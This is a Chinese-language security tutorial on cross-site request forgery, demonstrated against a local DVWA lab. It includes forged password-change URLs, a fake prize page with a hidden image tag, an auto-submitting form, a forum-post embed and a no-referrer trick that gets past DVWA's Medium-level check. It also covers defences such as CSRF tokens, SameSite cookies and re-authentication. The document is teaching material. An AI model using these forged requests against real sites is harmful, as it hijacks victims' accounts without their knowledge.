CSRF（跨站请求伪造）攻击实战攻略

CSRF跨站请求伪造攻击实战攻略一、什么是 CSRF 攻击CSRFCross-Site Request Forgery跨站请求伪造是一种利用用户已登录身份在用户不知情的情况下伪造请求执行恶意操作的攻击方式。1.1 CSRF 攻击原理核心原理利用浏览器自动携带 Cookie 的特性。当你登录一个网站后浏览器会保存该网站的session cookie。之后每次访问该网站时浏览器都会自动在 HTTP 请求中携带这个 cookie服务器通过 cookie 识别你的身份。攻击流程受害者登录了网站 A如网银、社交网站浏览器保存了 session cookie受害者在未退出网站 A 的情况下访问了攻击者的恶意网站 B恶意网站 B 的页面中包含了指向网站 A 的请求如转账、修改密码浏览器执行这个请求时自动携带了网站 A 的 cookie网站 A 的服务器收到请求验证 cookie 有效认为这是用户的合法操作恶意操作被执行转账成功、密码被改受害者完全不知情二、实验环境搭建2.1 攻击机可选系统Kali Linux 或任意系统工具浏览器、文本编辑器IP 地址192.168.43.92.2 靶机DVWA系统Windows 10 PHPStudy DVWADVWA 访问地址http://192.168.43.8/dvwa/ 或 http://dvwa:8898/dvwa/默认账号admin / password安全级别Low2.3 环境配置登录 DVWA浏览器访问http://192.168.43.8/dvwa/输入用户名admin密码password登录成功设置安全级别左侧菜单 →DVWA Security将 Security Level 设置为Low点击Submit进入 CSRF 页面左侧菜单 →CSRF看到修改密码的表单三、CSRF 攻击实战3.1 正常修改密码流程首先了解正常的密码修改流程这样才能理解 CSRF 如何伪造这个过程。操作步骤在 CSRF 页面的表单中填写New password:123456Confirm new password:123456点击Change按钮观察浏览器地址栏的 URL 变化修改后的 URLhttp://dvwa:8898/dvwa/vulnerabilities/csrf/?password_new123456password_conf123456ChangeChange关键发现密码修改使用的是GET 请求参数直接在 URL 中URL 包含了新密码的明文没有二次验证不需要输入当前密码这是一个严重的安全漏洞为什么 GET 请求不安全URL 会被记录浏览器历史、服务器日志、代理服务器都会记录完整 URL容易被截获网络抓包可以直接看到明文密码容易被 CSRF 攻击攻击者只需要构造 URL诱骗用户点击即可正确做法应该是使用POST 请求参数在请求体中不在 URL 中要求输入当前密码进行验证添加CSRF Token防护3.2 CSRF 攻击演示攻击场景假设你已经登录了 DVWA浏览器保存了 session cookie攻击者知道 DVWA 的密码修改 URL 格式攻击者构造了一个恶意链接伪装成中奖通知发给你恶意 URLhttp://dvwa:8898/dvwa/vulnerabilities/csrf/?password_newhacked666password_confhacked666ChangeChange攻击步骤步骤 1攻击者构造恶意链接攻击者将恶意 URL 伪装成正常链接发送给受害者通过邮件“恭喜中奖点击领取 iPhone 15”通过社交媒体“重要通知请立即查看”嵌入在论坛帖子的图片中用户看不到 URL步骤 2受害者点击链接当你点击这个链接时发生了什么浏览器向http://dvwa:8898/dvwa/vulnerabilities/csrf/发送 GET 请求请求参数password_newhacked666password_confhacked666ChangeChange浏览器自动携带了 DVWA 的 session cookieDVWA 服务器收到请求验证 cookie 有效服务器认为这是你的合法操作执行密码修改密码被改为hacked666攻击成功步骤 3验证攻击效果退出 DVWALogout尝试用原密码登录 - 失败用新密码hacked666登录 - 成功你甚至不知道自己的密码被改了直到下次登录失败。3.3 更隐蔽的攻击方式直接让用户点击链接太容易被发现攻击者通常用更隐蔽的方式。方式 1图片标签攻击攻击者创建一个 HTML 页面嵌入恶意图片标签!DOCTYPEhtmlhtmlheadtitle恭喜中奖/title/headbodyh1 恭喜您获得 iPhone 15 Pro 一部/h1p正在为您跳转到领奖页面.../p!-- 隐藏的 CSRF 攻击 --imgsrchttp://dvwa:8898/dvwa/vulnerabilities/csrf/?password_newhacked666password_confhacked666ChangeChangestyledisplay:none;/body/html攻击原理浏览器加载页面时会自动请求img标签的src属性即使这个图片实际上是一个修改密码的 URL用户只看到恭喜中奖完全不知道后台发生了什么浏览器自动携带 DVWA 的 cookie密码被修改方式 2自动提交表单!DOCTYPEhtmlhtmlheadtitle加载中.../title/headbodyformidcsrf-formactionhttp://dvwa:8898/dvwa/vulnerabilities/csrf/methodGETinputtypehiddennamepassword_newvaluehacked666inputtypehiddennamepassword_confvaluehacked666inputtypehiddennameChangevalueChange/formscript// 页面加载完成后自动提交表单document.getElementById(csrf-form).submit();/script/body/html用户访问这个页面后表单会自动提交密码被修改。方式 3嵌入第三方网站攻击者在自己控制的论坛、博客、评论区发布帖子查看我的度假照片imgsrchttp://example.com/beach.jpgwidth600!-- 隐藏在正常图片后面 --imgsrchttp://dvwa:8898/dvwa/vulnerabilities/csrf/?password_newhacked666password_confhacked666ChangeChangestyledisplay:none;任何访问这个帖子的 DVWA 用户密码都会被改。四、CSRF 攻击原理深度解析4.1 为什么浏览器会自动携带 Cookie这是浏览器的同源策略Same-Origin Policy的一部分。Cookie 的携带规则当浏览器向某个域名发送请求时会自动携带该域名下的所有 cookie不管请求是从哪个网站发起的只要目标域名匹配cookie 就会被携带示例你在dvwa:8898登录浏览器保存了 cookie你访问攻击者的网站evil.comevil.com的页面中有一个img标签src指向dvwa:8898浏览器请求这个图片时会自动携带dvwa:8898的 cookieDVWA 服务器收到请求验证 cookie 有效执行操作关键点浏览器不会检查请求是从哪个页面发起的只要目标域名匹配cookie 就会被携带这就是 CSRF 攻击的根本原因4.2 HTTP 请求方法的安全性GET vs POST特性GET 请求POST 请求参数位置URL 中明文可见请求体中不在 URL浏览器历史会记录完整 URL不会记录参数服务器日志会记录完整 URL不会记录请求体CSRF 攻击难度极易直接构造 URL较难需要构造表单适用场景查询、读取数据修改、删除、提交数据为什么 DVWA Low 级别用 GET故意设计的漏洞用于教学演示真实场景中敏感操作绝对不应该用 GET即使用 POSTCSRF 仍然可能成功攻击者可以构造自动提交的 POST 表单因此需要额外的防护机制CSRF Token4.3 Session Cookie 的工作原理什么是 Session服务器为每个登录用户创建一个会话Session服务器生成一个唯一的 Session IDSession ID 通过 cookie 发送给浏览器浏览器后续请求都携带这个 Session ID服务器通过 Session ID 识别用户身份Session 流程1. 用户登录 浏览器 → POST /login (usernameadminpassword123456) → 服务器 2. 服务器验证成功创建 Session 服务器生成 Session ID: abc123xyz 服务器 → Set-Cookie: PHPSESSIDabc123xyz → 浏览器 3. 后续请求自动携带 Cookie 浏览器 → GET /profile (Cookie: PHPSESSIDabc123xyz) → 服务器 服务器通过 Session ID 识别用户CSRF 利用的就是这个机制攻击者不知道你的 Session ID但浏览器会自动携带服务器只验证 Session ID不验证请求来源导致攻击成功五、CSRF 防御方法5.1 CSRF Token最有效原理服务器在生成表单时生成一个随机的 TokenToken 嵌入在表单的隐藏字段中用户提交表单时Token 一起提交服务器验证 Token 是否正确攻击者无法获取这个 Token因此无法伪造请求代码示例!-- 服务器生成的表单 --formaction/change_passwordmethodPOSTinputtypepasswordnamenew_passwordinputtypehiddennamecsrf_tokenvaluea8f3j2k1m9n4o7p6buttontypesubmit修改密码/button/form// 服务器端验证if($_POST[csrf_token]!$_SESSION[csrf_token]){die(CSRF token 验证失败);}为什么 Token 有效Token 每次都不同攻击者无法提前知道Token 存在服务器 Session 中攻击者无法读取即使攻击者构造了请求也无法提供正确的 Token5.2 验证 Referer 头原理浏览器发送请求时会携带Referer头表示请求来自哪个页面服务器检查Referer是否来自合法域名如果来自第三方网站拒绝请求代码示例$referer$_SERVER[HTTP_REFERER];if(strpos($referer,http://dvwa:8898)!0){die(非法请求来源);}缺点用户可以禁用 Referer隐私设置攻击者可以伪造 Referer某些情况下不如 CSRF Token 可靠5.3 使用 POST 请求原理敏感操作全部使用 POST 请求GET 请求只用于查询数据POST 请求更难被 CSRF 攻击但仍需配合 Token为什么 POST 更安全无法通过简单的 URL 触发无法通过img标签触发但仍可以通过自动提交的表单触发因此必须配合 Token5.4 SameSite Cookie 属性原理设置 Cookie 的SameSite属性限制第三方网站是否能携带 Cookie三种模式Strict严格模式完全禁止第三方网站携带 Cookie即使点击链接也不会携带安全性最高但用户体验较差Lax宽松模式推荐允许导航跳转点击链接携带 Cookie禁止 AJAX、表单提交、图片加载携带 Cookie平衡了安全性和用户体验None无限制允许所有第三方请求携带 Cookie必须配合Secure属性仅 HTTPS代码示例// PHP 设置 SameSite Cookiesetcookie(PHPSESSID,$session_id,[samesiteLax,securetrue,httponlytrue]);5.5 二次验证原理敏感操作要求用户输入当前密码或发送短信验证码确认增加攻击难度适用场景修改密码转账操作删除账户5.6 验证码原理敏感操作前要求输入验证码攻击者无法自动化攻击缺点影响用户体验仅适用于特别敏感的操作六、DVWA 不同安全级别的防御6.1 Low 级别无防护特点使用 GET 请求无 CSRF Token无 Referer 验证完全没有防护攻击成功率100%6.2 Medium 级别Referer 验证防护措施检查Referer头如果不是来自 DVWA 域名拒绝请求绕过方法如果 Referer 为空DVWA 会放行兼容性考虑攻击者可以让浏览器不发送 Referer!-- 禁用 Referer --metanamereferrercontentno-referrerimgsrchttp://dvwa:8898/dvwa/vulnerabilities/csrf/?password_newhacked6.3 High 级别CSRF Token防护措施生成随机 Token表单中包含隐藏的 Token 字段服务器验证 Token攻击难度很难攻击者需要先读取表单获取 Token但受到同源策略限制无法读取除非存在 XSS 漏洞6.4 Impossible 级别完美防护防护措施CSRF Token要求输入当前密码使用 POST 请求攻击成功率0%七、实战心得与总结7.1 XSS vs CSRF 核心区别先记住一句话XSS偷你的身份凭证CookieCSRF冒用你的身份偷偷操作。1. XSS跨站脚本攻击 Cross‑Site Scripting原理黑客把恶意 JS 代码注入网页代码在你浏览器里执行。对应你代码里的httponly true就是防御 XSS。流程你访问一个被篡改的页面页面藏恶意 JSJS 执行document.cookie读取你的登录 CookieCookie 发给黑客黑客拿到后直接登录你的账号攻击者拿到【你的凭证】可以完全冒充你自由操作。形象比喻你钱包Cookie放在口袋小偷掏出工具直接把钱包偷走。防御手段你代码里用到的Cookie 设置HttpOnlyJS 不能读取 Cookie输入过滤、转义不让恶意 JS 渲染到页面CSP 内容安全策略2. CSRF跨站请求伪造 Cross‑Site Request Forgery原理不需要偷 Cookie诱导你在登录状态下自动发起一个请求。对应你代码里samesiteLax就是防御 CSRF。流程你已经登录网站 A浏览器存有 A 的 Cookie你点开黑客给的恶意网站 BB 页面悄悄自动发起请求例如修改密码、转账访问网站 A浏览器会自动带上网站 A 的 Cookie服务器认为是你本人操作攻击者不能看见你的 Cookie只能利用浏览器自动携带 Cookie 的特性 “逼你发请求”。形象比喻小偷不能拿到你钱包但是引诱你无意识自己主动刷卡消费。防御手段CookieSameSiteLax/Strict限制跨站自动带 Cookie请求携带CSRF Token随机令牌验证请求来源 Referer/Origin7.2 我的实战过程中遇到的问题不明白为什么点击链接会修改密码关键在于浏览器自动携带 Cookie服务器只验证 Cookie不验证请求来源不清楚如何防御 CSRF学习后发现 CSRF Token 是最有效的方法Token 是随机生成的攻击者无法获取7.3 知识总结CSRF 攻击三要素用户已登录目标网站浏览器保存了 Cookie用户访问了攻击者的恶意网站或点击了恶意链接目标网站没有 CSRF 防护防御关键敏感操作必须使用 POST 请求必须添加 CSRF Token 验证设置 Cookie 的 SameSite 属性重要操作要求二次验证真实世界的 CSRF 攻击2008 年Gmail 曾存在 CSRF 漏洞攻击者可以窃取邮件2014 年某银行网站存在 CSRF 漏洞导致用户资金被盗现代网站框架如 Django、Laravel都内置了 CSRF 防护7.4 延伸学习CSRF 相关的其他攻击Login CSRF强制用户登录攻击者的账号JSONP Hijacking利用 JSONP 接口窃取数据Flash CSRF利用 Flash 绕过同源策略推荐资源OWASP CSRF 防御手册https://owasp.org/www-community/attacks/csrfPortSwigger CSRF 教程https://portswigger.net/web-security/csrfDVWA 官方文档https://github.com/digininja/DVWA八、命令与操作速查表8.1 DVWA 配置# 登录 DVWAURL: http://192.168.43.8/dvwa/ 用户名: admin 密码: password# 设置安全级别左侧菜单 → DVWA Security → 选择 Low → Submit# 进入 CSRF 页面左侧菜单 → CSRF8.2 CSRF 攻击 URL 格式# Low 级别GET 请求 http://dvwa:8898/dvwa/vulnerabilities/csrf/?password_new新密码password_conf新密码ChangeChange # 示例 http://dvwa:8898/dvwa/vulnerabilities/csrf/?password_newhacked666password_confhacked666ChangeChange8.3 恶意 HTML 页面!DOCTYPEhtmlhtmlheadtitle恭喜中奖/title/headbodyh1恭喜您获得 iPhone 15 Pro/h1imgsrchttp://dvwa:8898/dvwa/vulnerabilities/csrf/?password_newhacked666password_confhacked666ChangeChangestyledisplay:none;/body/html九、安全建议9.1 对于开发者永远不要用 GET 请求处理敏感操作所有敏感操作必须添加 CSRF Token设置 Cookie 的 SameSite 属性为 Lax 或 Strict重要操作要求二次验证密码、验证码使用成熟的 Web 框架它们通常内置 CSRF 防护9.2 对于用户不要点击来历不明的链接敏感操作后及时退出登录不要在同一浏览器同时打开银行网站和其他网站使用浏览器的隐私模式访问敏感网站定期清理浏览器 Cookie⚠️ 免责声明本文内容仅用于网络安全学习和研究请勿用于非法用途。未经授权对他人系统进行渗透测试属于违法行为。所有实验必须在自己搭建的靶场环境中进行。